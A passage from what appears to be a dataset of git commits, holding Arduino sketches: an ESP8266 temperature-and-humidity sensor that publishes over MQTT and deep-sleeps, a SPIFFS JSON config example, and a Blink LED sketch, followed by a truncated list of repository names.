= dht.readHumidity();\n while ((isnan(temperature) || isnan(humidity))\n\t || (temperature == 0 && humidity == 0)) {\n#ifdef DEBUG\n\tSerial.print(F(\"!\"));\n#endif\n\tdelay(500);\n\ttemperature = dht.readTemperature();\n\thumidity = dht.readHumidity();\n }\n#ifdef DEBUG\n Serial.println(\"\");\n#endif\n}\n\n\n\/*\n * Create callbacks for the MQTT functions.\n *\/\nvoid dsConnectedCb() {\n#ifdef DEBUG\n Serial.println(F(\"MQTT connected.\"));\n#endif\n flgIsConnected = true;\n}\n\n\nvoid dsDisconnectedCb() {\n#ifdef DEBUG\n Serial.println(F(\"MQTT disconnected.\"));\n#endif\n flgIsConnected = false;\n flgIsPublished = false;\n}\n\n\nvoid dsPublishedCb() {\n#ifdef DEBUG\n Serial.println(F(\"Published.\"));\n#endif\n flgIsPublished = true;\n}\n\n\nvoid dsDataCb(String & topic, String & data) {\n#ifdef DEBUG\n Serial.print(topic);\n Serial.print(F(\": \"));\n Serial.println(data);\n#endif\n}\n\n\n\/*\n * Call deep-sleep. The DSLEEP_SECS seconds count is set in\n * user_config.h.\n * Note that \"NOTREACHED\" should never be displayed if\n * deep-sleep is working correctly, as the processor will do\n * a full reset when it wakes up.\n *\/\nvoid DSleep() {\n \/*\n * Close down our WiFi connections cleanly before sleeping.\n *\/\n WiFi.disconnect(true);\t\/\/ Switch-off WiFi = \"true\".\n yield();\n delay(500);\n\n#ifdef DEBUG\n Serial.println(F(\"Zzzz...\"));\n#endif\n \/\/ ESP.deepSleep(DSLEEP_SECS * 1000 * 1000, WAKE_RF_DISABLED);\n ESP.deepSleep(DSLEEP_SECS * 1000 * 1000);\n\n \/*\n * Pause everything to give the system time to set up deep-sleep\n * and shut itself down before restarting the default loop.\n *\/\n yield();\n delay(5000);\n Serial.println(\"\/*NOTREACHED*\/\");\t\/* Lint on the ESP?!? :-) *\/\n}\n\n\nvoid setup() {\n int conn_tries = 0;\n\n Serial.begin(115200);\n delay(500);\n Serial.println();\n\n pinMode(BLED, OUTPUT);\t\/\/ Ensure our blue LED driver pin is an output, \n pinMode(GLED, OUTPUT);\t\/\/ ...and the green LED pin, \n pinMode(RLED, OUTPUT);\t\/\/ ...and the red LED pin, too.\n#ifdef DEBUG\n OnFlash();\t\t\t\/\/ We're alive!\n#endif\n\n dht.begin();\t\t\/\/ Initialize the DHT11 interface.\n\n \/* Get a unique client-ID for this ESP8266. *\/\n sprintf(clidbuff, MQTT_CLIENT_ID, ESP.getChipId());\n float vdd = ESP.getVcc() \/ 1000.0;\t\/\/ Grab the current battery voltage.\n dtostrf(vdd, 4, 2, vbuff);\t\/\/ Convert to ASCII and store.\n\n \/*\n * This delay is for use when testing =without= using deep-sleep\n * and should normally be commented-out.\n *\/\n\/\/ delay(LDELAY); \/\/ Disable this loop delay if using deep-sleep.\n\n getSensorData();\n#ifdef DEBUG\n BFlash();\t\t\t\/\/ A quick flash to show we've accessed the DHT11.\n#endif\n dtostrf(temperature, 4, 2, tbuff);\t\/\/ Convert and store.\n dtostrf(humidity, 4, 2, hbuff);\t\/\/ Convert and store.\n snprintf(buff, MQ_TOPIC_SIZE, \"%s, %sC, %s%% %sV\", clidbuff, tbuff,\n\t hbuff, vbuff);\n#ifdef DEBUG\n Serial.println(buff);\n#endif\n\n#ifdef DEBUG\n Serial.print(F(\" ClientID: \"));\n Serial.println(clidbuff);\n Serial.print(F(\"Temperature: \"));\n Serial.print(tbuff);\n Serial.println(F(\"C\"));\n Serial.print(F(\" Humidity: \"));\n Serial.print(hbuff);\n Serial.println(F(\"%\"));\n Serial.print(F(\" Voltage: \"));\n Serial.print(vbuff);\n Serial.println(F(\"V\"));\n#endif\n\n \/*\n * Now we have the temperature, humidity and voltage readings, so\n * we're ready to bring up the network and talk to the outside\n * world.\n *\/\n#ifdef DEBUG\n Serial.println();\n Serial.print(F(\"Connecting to \"));\n Serial.println(STA_SSID);\n#endif\n\n \/*\n * An open-ended loop here will flatten the battery on\n * the sensor if, for instance, the access point is \n * down, so limit our connection attempts.\n *\/\n Serial.print(\"WiFi Stat: \");\n Serial.println(WiFi.status());\t\t\/\/ Meant to fix slow-start problem.\n WiFi.mode(WIFI_STA);\n WiFi.config(IPAddress(ip), IPAddress(gateway),\n\t\tIPAddress(netmask), IPAddress(dnssrv));\n\/\/ wifi_station_set_auto_connect(false);\n WiFi.begin(STA_SSID, STA_PASS, WIFI_CHANNEL, NULL);\n yield();\n\n while ((WiFi.status() != WL_CONNECTED)\n\t && (conn_tries++ < WIFI_RETRIES)) {\n\tdelay(500);\n\tSerial.print(\".\");\n }\n if (conn_tries == WIFI_RETRIES) {\n#ifdef DEBUG\n\tSerial.println(F(\"No WiFi connection ...sleeping.\"));\n#endif\n\tDSleep();\n }\n#ifdef DEBUG\n Serial.println();\n WiFi.printDiag(Serial);\n Serial.print(F(\"IP: \"));\n Serial.println(WiFi.localIP());\n#endif\n\n \/*\n * Now that we have a WiFi link, publish our data to the MQTT\n * server. As with the WiFi connection, the MQTT publish\n * attempts are in a limited loop to prevent a failed connection\n * from holding the ESP8266 on and draining the battery.\n *\/\n MQTT mqttClient(clidbuff, MQTT_HOST, MQTT_PORT);\n\n \/* Configure MQTT callbacks. *\/\n mqttClient.onConnected(dsConnectedCb);\n mqttClient.onDisconnected(dsDisconnectedCb);\n mqttClient.onPublished(dsPublishedCb);\n mqttClient.onData(dsDataCb);\n\n \/*\n * MQTT connect\/publish loop.\n *\/\n \/\/ mqttClient.connect();\n yield();\n conn_tries = 0;\t\t\/\/ Reset tries counter to zero.\n while (!flgIsPublished && (conn_tries++ < WIFI_RETRIES)) {\n\tdelay(MQCONDEL);\n\tif (flgIsConnected) {\n\t mqttClient.publish(TOPIC3, buff, strlen(buff), 0, 0);\t\/\/ Topics set in user_config.h.\n\t} else {\n#ifdef DEBUG\n\t Serial.print(F(\"Connecting to MQTT server: \"));\n\t Serial.println(MQTT_HOST);\n#endif\n\t mqttClient.connect();\n\t}\n }\n\n \/*\n * If we didn't manage to publish, for whatever reason, we're\n * going to give up and go back to sleep to save battery \n * power, otherwise do a clean disconnect from the MQTT server.\n *\/\n if (!flgIsPublished) {\n#ifdef DEBUG\n\tSerial.println(F(\"No MQTT ...sleeping.\"));\n#endif\n }\n mqttClient.disconnect();\n delay(500);\n\n \/*\n * Put the unit into deep sleep (requires\n * GPIO16 to be connected to RST for\n * wake-up).\n *\/\n DSleep();\n}\n\n\n\/* We should never get as far as the loop() function. *\/\nvoid loop() {\n \/\/ Nuthin' to see here. Move along now!\n ESP.restart();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'DHT_Test_Blinken.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"34be16c8da728997f62a6d4ce679e3d5c8f9992a","subject":"Add example for storing JSON config file in SPIFFS","message":"Add example for storing JSON config file in SPIFFS\n","repos":"Cloudino\/Cloudino-Arduino-IDE,me-no-dev\/Arduino,jes\/Arduino,Cloudino\/Arduino,chrisfraser\/Arduino,toastedcode\/esp8266-Arduino,toastedcode\/esp8266-Arduino,Cloudino\/Arduino,Juppit\/Arduino,Cloudino\/Arduino,gguuss\/Arduino,chrisfraser\/Arduino,CanTireInnovations\/Arduino,toastedcode\/esp8266-Arduino,sticilface\/Arduino,hallard\/Arduino,hallard\/Arduino,Adam5Wu\/Arduino,lrmoreno007\/Arduino,hallard\/Arduino,Cloudino\/Arduino,edog1973\/Arduino,wemos\/Arduino,Juppit\/Arduino,Cloudino\/Cloudino-Arduino-IDE,NullMedia\/Arduino,Juppit\/Arduino,NextDevBoard\/Arduino,CanTireInnovations\/Arduino,toastedcode\/esp8266-Arduino,jes\/Arduino,lrmoreno007\/Arduino,sticilface\/Arduino,wemos\/Arduino,quertenmont\/Arduino,Juppit\/Arduino,KaloNK\/Arduino,Cloudino\/Cloudino-Arduino-IDE,Adam5Wu\/Arduino,gguuss\/Arduino,Cloudino\/Cloudino-Arduino-IDE,sticilface\/Arduino,edog1973\/Arduino,edog1973\/Arduino,Links2004\/Arduino,Cloudino\/Cloudino-Arduino-IDE,quertenmont\/Arduino,martinayotte\/ESP8266-Arduino,quertenmont\/Arduino,esp8266\/Arduino,wemos\/Arduino,KaloNK\/Arduino,Juppit\/Arduino,Lan-Hekary\/Arduino,Adam5Wu\/Arduino,Links2004\/Arduino,me-no-dev\/Arduino,esp8266\/Arduino,gguuss\/Arduino,Cloudino\/Arduino,NextDevBoard\/Arduino,Cloudino\/Arduino,KaloNK\/Arduino,KaloNK\/Arduino,lrmoreno007\/Arduino,me-no-dev\/Arduino,me-no-dev\/Arduino,CanTireInnovations\/Arduino,edog1973\/Arduino,CanTireInnovations\/Arduino,esp8266\/Arduino,lrmoreno007\/Arduino,gguuss\/Arduino,Cloudino\/Arduino,Cloudino\/Cloudino-Arduino-IDE,KaloNK\/Arduino,Adam5Wu\/Arduino,chrisfraser\/Arduino,Links2004\/Arduino,quertenmont\/Arduino,NullMedia\/Arduino,edog1973\/Arduino,martinayotte\/ESP8266-Arduino,esp8266\/Arduino,CanTireInnovations\/Arduino,esp8266\/Arduino,NullMedia\/Arduino,toastedcode\/esp8266-Arduino,sticilface\/Arduino,quertenmont\/Arduino,me-no-dev\/Arduino,Lan-Hekary\/Arduino,CanTireInnovations\/Arduino,NullMedia\/Arduino,hallard\/Arduino,jes\/Arduino,hallard\/Arduino,NextDevBoard\/Arduino,martinayotte\/ESP8266-Arduino,NextDevBoard\/Arduino,wemos\/Arduino,Cloudino\/Cloudino-Arduino-IDE,Links2004\/Arduino,gguuss\/Arduino,Lan-Hekary\/Arduino,chrisfraser\/Arduino,CanTireInnovations\/Arduino,martinayotte\/ESP8266-Arduino,lrmoreno007\/Arduino,jes\/Arduino,chrisfraser\/Arduino,Lan-Hekary\/Arduino,martinayotte\/ESP8266-Arduino,Links2004\/Arduino,NextDevBoard\/Arduino,jes\/Arduino,NullMedia\/Arduino,wemos\/Arduino,Lan-Hekary\/Arduino,Adam5Wu\/Arduino,sticilface\/Arduino","old_file":"libraries\/esp8266\/examples\/ConfigFile\/ConfigFile.ino","new_file":"libraries\/esp8266\/examples\/ConfigFile\/ConfigFile.ino","new_contents":"\/\/ Example: storing JSON configuration file in flash file system\n\/\/\n\/\/ Uses ArduinoJson library by Benoit Blanchon.\n\/\/ https:\/\/github.com\/bblanchon\/ArduinoJson\n\/\/\n\/\/ Created Aug 10, 2015 by Ivan Grokhotkov.\n\/\/\n\/\/ This example code is in the public domain.\n\n#include <ArduinoJson.h>\n#include \"FS.h\"\n\nbool loadConfig() {\n File configFile = SPIFFS.open(\"\/config.json\", \"r\");\n if (!configFile) {\n Serial.println(\"Failed to open config file\");\n return false;\n }\n\n size_t size = configFile.size();\n if (size > 1024) {\n Serial.println(\"Config file size is too large\");\n return false;\n }\n\n \/\/ Allocate a buffer to store contents of the file.\n std::unique_ptr<char[]> buf(new char[size]);\n\n \/\/ We don't use String here because ArduinoJson library requires the input\n \/\/ buffer to be mutable. If you don't use ArduinoJson, you may as well\n \/\/ use configFile.readString instead.\n configFile.readBytes(buf.get(), size);\n\n StaticJsonBuffer<200> jsonBuffer;\n JsonObject& json = jsonBuffer.parseObject(buf.get());\n\n if (!json.success()) {\n Serial.println(\"Failed to parse config file\");\n return false;\n }\n\n const char* serverName = json[\"serverName\"];\n const char* accessToken = json[\"accessToken\"];\n\n \/\/ Real world application would store these values in some variables for\n \/\/ later use.\n\n Serial.print(\"Loaded serverName: \");\n Serial.println(serverName);\n Serial.print(\"Loaded accessToken: \");\n Serial.println(accessToken);\n return true;\n}\n\nbool saveConfig() {\n StaticJsonBuffer<200> jsonBuffer;\n JsonObject& json = jsonBuffer.createObject();\n json[\"serverName\"] = \"api.example.com\";\n json[\"accessToken\"] = \"128du9as8du12eoue8da98h123ueh9h98\";\n\n File configFile = SPIFFS.open(\"\/config.json\", \"w\");\n if (!configFile) {\n Serial.println(\"Failed to open config file for writing\");\n return false;\n }\n\n json.printTo(configFile);\n return true;\n}\n\nvoid setup() {\n Serial.begin(115200);\n Serial.println(\"\");\n delay(1000);\n Serial.println(\"Mounting FS...\");\n\n if (!SPIFFS.begin()) {\n Serial.println(\"Failed to mount file system\");\n return;\n }\n\n\n if (!saveConfig()) {\n Serial.println(\"Failed to save config\");\n } else {\n Serial.println(\"Config saved\");\n }\n\n if (!loadConfig()) {\n Serial.println(\"Failed to load config\");\n } else {\n Serial.println(\"Config loaded\");\n }\n}\n\nvoid loop() {\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'libraries\/esp8266\/examples\/ConfigFile\/ConfigFile.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"dea2502532528875f0128faa8cb106f795ed3e80","subject":"Add file: Blink-yun.ino","message":"Add file: Blink-yun.ino\n\nFrom https:\/\/github.com\/gmacario\/gmacario.github.io\/tree\/master\/test\/Blink-yun\n\nSee https:\/\/github.com\/gmacario\/gmacario.github.io\/issues\/10\n\nSigned-off-by: Gianpaolo Macario <f8885408b8c3d931b330bae3c3a28a3af912c463@gmail.com>\n","repos":"gmacario\/learning-arduino","old_file":"Sketches\/Blink-yun.ino","new_file":"Sketches\/Blink-yun.ino","new_contents":"\/*\n Blink\n Turns on an LED on for one second, then off for one second, repeatedly.\n\n Most Arduinos have an on-board LED you can control. On the Uno and\n Leonardo, it is attached to digital pin 13. If you're unsure what\n pin the on-board LED is connected to on your Arduino model, check\n the documentation at http:\/\/arduino.cc\n\n This example code is in the public domain.\n\n modified 8 May 2014\n by Scott Fitzgerald\n *\/\n\n\n\/\/ the setup function runs once when you press reset or power the board\nvoid setup() {\n \/\/ initialize digital pin 13 as an output.\n pinMode(13, OUTPUT);\n}\n\n\/\/ the loop function runs over and over again forever\nvoid loop() {\n digitalWrite(13, HIGH); \/\/ turn the LED on (HIGH is the voltage level)\n delay(3000); \/\/ wait for a second\n digitalWrite(13, LOW); \/\/ turn the LED off by making the voltage LOW\n delay(1000); \/\/ wait for a second\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Sketches\/Blink-yun.ino' did not match any file(s) known to git\n","license":"mpl-2.0","lang":"Arduino"} {"commit":"b699bdc66311e05d5c606f15739ab7913447cb15","subject":"Added example WifiUdpSendReceiveString","message":"Added example WifiUdpSendReceiveString\n","repos":"wdoganowski\/Arduino,shannonshsu\/Arduino,tskurauskas\/Arduino,tbowmo\/Arduino,wilhelmryan\/Arduino,arunkuttiyara\/Arduino,gberl001\/Arduino,karlitxo\/Arduino,shiitakeo\/Arduino,shannonshsu\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,NaSymbol\/Arduino,odbol\/Arduino,ikbelkirasan\/Arduino,jaej-dev\/Arduino,NeuralSpaz\/Arduino,UDOOboard\/Arduino,eeijcea\/Arduino-1,zederson\/Arduino,smily77\/Arduino,EmuxEvans\/Arduino,ricklon\/Arduino,ricklon\/Arduino,rcook\/DesignLab,Orthogonal-Systems\/arduino-libs,ThoughtWorksIoTGurgaon\/Arduino,linino\/Arduino,gberl001\/Arduino,arunkuttiyara\/Arduino,weera00\/Arduino,championswimmer\/Arduino,mateuszdw\/Arduino,plinioseniore\/Arduino,wayoda\/Arduino,radut\/Arduino,mboufos\/esp8266-Arduino,superboonie\/Arduino,UDOOboard\/Arduino,Cloudino\/Arduino,eddyst\/Arduino-SourceCode,PeterVH\/Arduino,Ramoonus\/Arduino,jaehong\/Xmegaduino,mangelajo\/Arduino,ForestNymph\/Arduino_sources,koltegirish\/Arduino,paulmand3l\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,noahchense\/Arduino-1,NeuralSpaz\/Arduino,jaej-dev\/Arduino,smily77\/Arduino,lukeWal\/Arduino,lulufei\/Arduino,tannewt\/Arduino,PaintYourDragon\/Arduino,leftbrainstrain\/Arduino-ESP8266,steamboating\/Arduino,ntruchsess\/Arduino-1,bigjosh\/Arduino,stevemarple\/Arduino-org,paulo-raca\/ESP8266-Arduino,cscenter\/Arduino,aichi\/Arduino-2,jomolinare\/Arduino,ektor5\/Arduino,andrealmeidadomingues\/Arduino,ari-analytics\/Arduino,zenmanenergy\/Arduino,wilhelmryan\/Arduino,superboonie\/Arduino,andyvand\/Arduino-1,gberl001\/Arduino,stickbreaker\/Arduino,mattvenn\/Arduino,superboonie\/Arduino,aichi\/Arduino-2,Protoneer\/Arduino,paulo-raca\/ESP8266-Arduino,tannewt\/Arduino,xxxajk\/Arduino-1,zaiexx\/Arduino,plaintea\/esp8266-Arduino,plinioseniore\/Arduino,steamboating\/Arduino,jaehong\/Xmegaduino,drpjk\/Arduino,arunkuttiyara\/Arduino,SmartArduino\/Arduino-1,tomkrus007\/Arduino,adafruit\/ESP8266-Arduino,mc-hamster\/esp8266-Arduino,Alfredynho\/AgroSis,benwolfe\/esp8266-Arduino,weera00\/Arduino,gurbrinder\/Arduino,pdNor\/Arduino,tomkrus007\/Arduino,jabezGit\/Arduino,PaoloP74\/Arduino,mboufos\/esp8266-Arduino,HCastano\/Arduino,championswimmer\/Arduino,vbextreme\/Arduino,ogferreiro\/Arduino,PeterVH\/Arduino,mattvenn\/Arduino,jaimemaretoli\/Arduino,Ramoonus\/Arduino,ektor5\/Arduino,laylthe\/Arduino,damellis\/Arduino,Gourav2906\/Arduino,Gourav2906\/Arduino,acosinwork\/Arduino,bugobliterator\/BUAGI,garci66\/Arduino,stickbreaker\/Arduino,PaoloP74\/Arduino,jamesrob4\/Arduino,henningpohl\/Arduino,ccoenen\/Arduino,zaiexx\/Arduino,eddyst\/Arduino-SourceCode,rcook\/DesignLab,stevemarple\/Arduino-org,ari-analytics\/Arduino,superboonie\/Arduino,gberl001\/Arduino,niggor\/Arduino_cc,lukeWal\/Arduino,benwolfe\/esp8266-Arduino,Alfredynho\/AgroSis,raimohanska\/Arduino,NaSymbol\/Arduino,ashwin713\/Arduino,stevemarple\/Arduino-org,danielchalef\/Arduino,garci66\/Arduino,andrealmeidadomingues\/Arduino,eggfly\/arduino,shannonshsu\/Arduino,Ramoonus\/Arduino,lulufei\/Arduino,nkolban\/Arduino,probonopd\/Arduino,eduardocasarin\/Arduino,bigjosh\/Arduino,onovy\/Arduino,eduardocasarin\/Arduino,henningpohl\/Arduino,NeuralSpaz\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,Protoneer\/Arduino,aichi\/Arduino-2,bugobliterator\/BUAGI,chaveiro\/Arduino,weera00\/Arduino,scdls\/Arduino,mateuszdw\/Arduino,adafruit\/ESP8266-Arduino,plinioseniore\/Arduino,nkolban\/Arduino,Protoneer\/Arduino,arduino-org\/Arduino,raimohanska\/Arduino,niggor\/Arduino_cc,NaSymbol\/Arduino,lukeWal\/Arduino,ari-analytics\/Arduino,ikbelkirasan\/Arduino,radut\/Arduino,eduardocasarin\/Arduino,gestrem\/Arduino,PaintYourDragon\/Arduino,stevemayhew\/Arduino,Chris--A\/Arduino,chaveiro\/Arduino,superboonie\/Arduino,nkolban\/Arduino,Cloudino\/Cloudino-Arduino-IDE,adafruit\/ESP8266-Arduino,plaintea\/esp8266-Arduino,nkolban\/Arduino,Gourav2906\/Arduino,karlitxo\/Arduino,byran\/Arduino,andrealmeidadomingues\/Arduino,gurbrinder\/Arduino,majenkotech\/Arduino,onovy\/Arduino,PaoloP74\/Arduino,NaSymbol\/Arduino,stevemayhew\/Arduino,damellis\/Arduino,drpjk\/Arduino,henningpohl\/Arduino,ashwin713\/Arduino,fungxu\/Arduino,talhaburak\/Arduino,benwolfe\/esp8266-Arduino,NicoHood\/Arduino,jomolinare\/Arduino,danielchalef\/Arduino,tomkrus007\/Arduino,steamboating\/Arduino,ogahara\/Arduino,01org\/Arduino,HCastano\/Arduino,jamesrob4\/Arduino,xxxajk\/Arduino-1,vbextreme\/Arduino,radut\/Arduino,championswimmer\/Arduino,PeterVH\/Arduino,stevemarple\/Arduino-org,snargledorf\/Arduino,paulmand3l\/Arduino,mangelajo\/Arduino,leftbrainstrain\/Arduino-ESP8266,wilhelmryan\/Arduino,ricklon\/Arduino,ForestNymph\/Arduino_sources,OpenDevice\/Arduino,adamkh\/Arduino,EmuxEvans\/Arduino,jaimemaretoli\/Arduino,scdls\/Arduino,niggor\/Arduino_cc,NicoHood\/Arduino,scdls\/Arduino,Cloudino\/Arduino,laylthe\/Arduino,snargledorf\/Arduino,Protoneer\/Arduino,plinioseniore\/Arduino,piersoft\/esp8266-Arduino,eduardocasarin\/Arduino,ssvs111\/Arduino,PeterVH\/Arduino,01org\/Arduino,sanyaade-iot\/Arduino-1,andyvand\/Arduino-1,garci66\/Arduino,zaiexx\/Arduino,SmartArduino\/Arduino-1,zenmanenergy\/Arduino,chaveiro\/Arduino,acosinwork\/Arduino,bsmr-arduino\/Arduino,adamkh\/Arduino,danielchalef\/Arduino,tbowmo\/Arduino,myrtleTree33\/Arduino,jmgonzalez00449\/Arduino,acosinwork\/Arduino,zederson\/Arduino,zenmanenergy\/Arduino,arduino-org\/Arduino,gonium\/Arduino,OpenDevice\/Arduino,spapadim\/Arduino,plinioseniore\/Arduino,paulmand3l\/Arduino,radut\/Arduino,probonopd\/Arduino,weera00\/Arduino,Gourav2906\/Arduino,ektor5\/Arduino,byran\/Arduino,niggor\/Arduino_cc,arduino-org\/Arduino,acosinwork\/Arduino,ogahara\/Arduino,shiitakeo\/Arduino,mateuszdw\/Arduino,tbowmo\/Arduino,EmuxEvans\/Arduino,bigjosh\/Arduino,myrtleTree33\/Arduino,plinioseniore\/Arduino,rodibot\/Arduino,ms-iot\/Arduino,stickbreaker\/Arduino,ashwin713\/Arduino,ForestNymph\/Arduino_sources,benwolfe\/esp8266-Arduino,henningpohl\/Arduino,vbextreme\/Arduino,odbol\/Arduino,bsmr-arduino\/Arduino,kidswong999\/Arduino,lulufei\/Arduino,zenmanenergy\/Arduino,koltegirish\/Arduino,kidswong999\/Arduino,tannewt\/Arduino,rcook\/DesignLab,jabezGit\/Arduino,myrtleTree33\/Arduino,NicoHood\/Arduino,ms-iot\/Arduino,drpjk\/Arduino,stickbreaker\/Arduino,probonopd\/Arduino,ntruchsess\/Arduino-1,jaehong\/Xmegaduino,tbowmo\/Arduino,jmgonzalez00449\/Arduino,eddyst\/Arduino-SourceCode,noahchense\/Arduino-1,PaoloP74\/Arduino,arduino-org\/Arduino,snargledorf\/Arduino,probonopd\/Arduino,plinioseniore\/Arduino,linino\/Arduino,eggfly\/arduino,adamkh\/Arduino,majenkotech\/Arduino,NicoHood\/Arduino,KlaasDeNys\/Arduino,adamkh\/Arduino,mc-hamster\/esp8266-Arduino,gonium\/Arduino,jmgonzalez00449\/Arduino,acosinwork\/Arduino,jamesrob4\/Arduino,ogferreiro\/Arduino,jmgonzalez00449\/Arduino,Chris--A\/Arduino,NeuralSpaz\/Arduino,gurbrinder\/Arduino,nandojve\/Arduino,eduardocasarin\/Arduino,stickbreaker\/Arduino,ricklon\/Arduino,stevemarple\/Arduino-org,tannewt\/Arduino,Ramoonus\/Arduino,adamkh\/Arduino,noahchense\/Arduino-1,wayoda\/Arduino,mc-hamster\/esp8266-Arduino,paulmand3l\/Arduino,mattvenn\/Arduino,eeijcea\/Arduino-1,01org\/Arduino,OpenDevice\/Arduino,shannonshsu\/Arduino,nandojve\/Arduino,xxxajk\/Arduino-1,wayoda\/Arduino,jomolinare\/Arduino,koltegirish\/Arduino,myrtleTree33\/Arduino,acosinwork\/Arduino,zaiexx\/Arduino,odbol\/Arduino,onovy\/Arduino,xxxajk\/Arduino-1,xxxajk\/Arduino-1,ricklon\/Arduino,me-no-dev\/Arduino-1,byran\/Arduino,nandojve\/Arduino,tommyli2014\/Arduino,bugobliterator\/BUAGI,ssvs111\/Arduino,spapadim\/Arduino,tomkrus007\/Arduino,zenmanenergy\/Arduino,byran\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,raimohanska\/Arduino,SmartArduino\/Arduino-1,lukeWal\/Arduino,ashwin713\/Arduino,KlaasDeNys\/Arduino,danielchalef\/Arduino,bigjosh\/Arduino,fungxu\/Arduino,NaSymbol\/Arduino,nandojve\/Arduino,koltegirish\/Arduino,niggor\/Arduino_cc,Cloudino\/Cloudino-Arduino-IDE,KlaasDeNys\/Arduino,ikbelkirasan\/Arduino,01org\/Arduino,plaintea\/esp8266-Arduino,gurbrinder\/Arduino,garci66\/Arduino,cscenter\/Arduino,eeijcea\/Arduino-1,zaiexx\/Arduino,ssvs111\/Arduino,spapadim\/Arduino,eggfly\/arduino,Orthogonal-Systems\/arduino-libs,eggfly\/arduino,tommyli2014\/Arduino,Ramoonus\/Arduino,Cloudino\/Cloudino-Arduino-IDE,bsmr-arduino\/Arduino,UDOOboard\/Arduino,arunkuttiyara\/Arduino,jaimemaretoli\/Arduino,wayoda\/Arduino,tbowmo\/Arduino,tbowmo\/Arduino,ssvs111\/Arduino,me-no-dev\/Arduino-1,tskurauskas\/Arduino,NicoHood\/Arduino,jaej-dev\/Arduino,laylthe\/Arduino,jmgonzalez00449\/Arduino,nkolban\/Arduino,NicoHood\/Arduino,ogahara\/Arduino,henningpohl\/Arduino,talhaburak\/Arduino,Chris--A\/Arduino,andrealmeidadomingues\/Arduino,tskurauskas\/Arduino,eduardocasarin\/Arduino,tannewt\/Arduino,spapadim\/Arduino,vbextreme\/Arduino,fungxu\/Arduino,pdNor\/Arduino,ikbelkirasan\/Arduino,ogferreiro\/Arduino,Chris--A\/Arduino,damellis\/Arduino,probonopd\/Arduino,Gourav2906\/Arduino,ogferreiro\/Arduino,KlaasDeNys\/Arduino,garci66\/Arduino,radut\/Arduino,tommyli2014\/Arduino,gberl001\/Arduino,NeuralSpaz\/Arduino,championswimmer\/Arduino,gonium\/Arduino,OpenDevice\/Arduino,ccoenen\/Arduino,noahchense\/Arduino-1,Protoneer\/Arduino,mateuszdw\/Arduino,lulufei\/Arduino,Alfredynho\/AgroSis,tomkrus007\/Arduino,damellis\/Arduino,danielchalef\/Arduino,sanyaade-iot\/Arduino-1,tomkrus007\/Arduino,lulufei\/Arduino,ari-analytics\/Arduino,bigjosh\/Arduino,bsmr-arduino\/Arduino,paulmand3l\/Arduino,wayoda\/Arduino,KlaasDeNys\/Arduino,garci66\/Arduino,EmuxEvans\/Arduino,wayoda\/Arduino,ms-iot\/Arduino,ms-iot\/Arduino,acosinwork\/Arduino,mateuszdw\/Arduino,leftbrainstrain\/Arduino-ESP8266,me-no-dev\/Arduino-1,Cloudino\/Cloudino-Arduino-IDE,tskurauskas\/Arduino,shiitakeo\/Arduino,laylthe\/Arduino,Orthogonal-Systems\/arduino-libs,Cloudino\/Arduino,sanyaade-iot\/Arduino-1,paulo-raca\/ESP8266-Arduino,me-no-dev\/Arduino-1,lukeWal\/Arduino,mboufos\/esp8266-Arduino,SmartArduino\/Arduino-1,HCastano\/Arduino,leftbrainstrain\/Arduino-ESP8266,ari-analytics\/Arduino,adafruit\/ESP8266-Arduino,noahchense\/Arduino-1,zenmanenergy\/Arduino,mboufos\/esp8266-Arduino,pdNor\/Arduino,EmuxEvans\/Arduino,danielchalef\/Arduino,wdoganowski\/Arduino,Chris--A\/Arduino,xxxajk\/Arduino-1,jaej-dev\/Arduino,ari-analytics\/Arduino,me-no-dev\/Arduino-1,majenkotech\/Arduino,vbextreme\/Arduino,jamesrob4\/Arduino,leftbrainstrain\/Arduino-ESP8266,damellis\/Arduino,tskurauskas\/Arduino,plaintea\/esp8266-Arduino,jaehong\/Xmegaduino,adafruit\/ESP8266-Arduino,jmgonzalez00449\/Arduino,rodibot\/Arduino,jaej-dev\/Arduino,jabezGit\/Arduino,me-no-dev\/Arduino-1,rodibot\/Arduino,shannonshsu\/Arduino,toddtreece\/esp8266-Arduino,cscenter\/Arduino,zederson\/Arduino,sanyaade-iot\/Arduino-1,OpenDevice\/Arduino,Cloudino\/Cloudino-Arduino-IDE,ogahara\/Arduino,jaimemaretoli\/Arduino,championswimmer\/Arduino,myrtleTree33\/Arduino,superboonie\/Arduino,leftbrainstrain\/Arduino-ESP8266,paulo-raca\/ESP8266-Arduino,rodibot\/Arduino,drpjk\/Arduino,rcook\/DesignLab,bugobliterator\/BUAGI,linino\/Arduino,nandojve\/Arduino,weera00\/Arduino,zaiexx\/Arduino,kidswong999\/Arduino,arunkuttiyara\/Arduino,NicoHood\/Arduino,mattvenn\/Arduino,damellis\/Arduino,gestrem\/Arduino,lukeWal\/Arduino,gonium\/Arduino,talhaburak\/Arduino,tommyli2014\/Arduino,raimohanska\/Arduino,zederson\/Arduino,byran\/Arduino,pdNor\/Arduino,ms-iot\/Arduino,plaintea\/esp8266-Arduino,majenkotech\/Arduino,shiitakeo\/Arduino,Gourav2906\/Arduino,PeterVH\/Arduino,mangelajo\/Arduino,shiitakeo\/Arduino,majenkotech\/Arduino,piersoft\/esp8266-Arduino,me-no-dev\/Arduino-1,ccoenen\/Arduino,nandojve\/Arduino,vbextreme\/Arduino,tannewt\/Arduino,Alfredynho\/AgroSis,cscenter\/Arduino,sanyaade-iot\/Arduino-1,andyvand\/Arduino-1,kidswong999\/Arduino,stevemarple\/Arduino-org,OpenDevice\/Arduino,zederson\/Arduino,stevemayhew\/Arduino,nkolban\/Arduino,eggfly\/arduino,Chris--A\/Arduino,henningpohl\/Arduino,ccoenen\/Arduino,scdls\/Arduino,gestrem\/Arduino,bigjosh\/Arduino,noahchense\/Arduino-1,weera00\/Arduino,ogahara\/Arduino,nkolban\/Arduino,gestrem\/Arduino,adamkh\/Arduino,Cloudino\/Cloudino-Arduino-IDE,zenmanenergy\/Arduino,scdls\/Arduino,mangelajo\/Arduino,piersoft\/esp8266-Arduino,lukeWal\/Arduino,talhaburak\/Arduino,koltegirish\/Arduino,mattvenn\/Arduino,me-no-dev\/Arduino-1,Cloudino\/Arduino,garc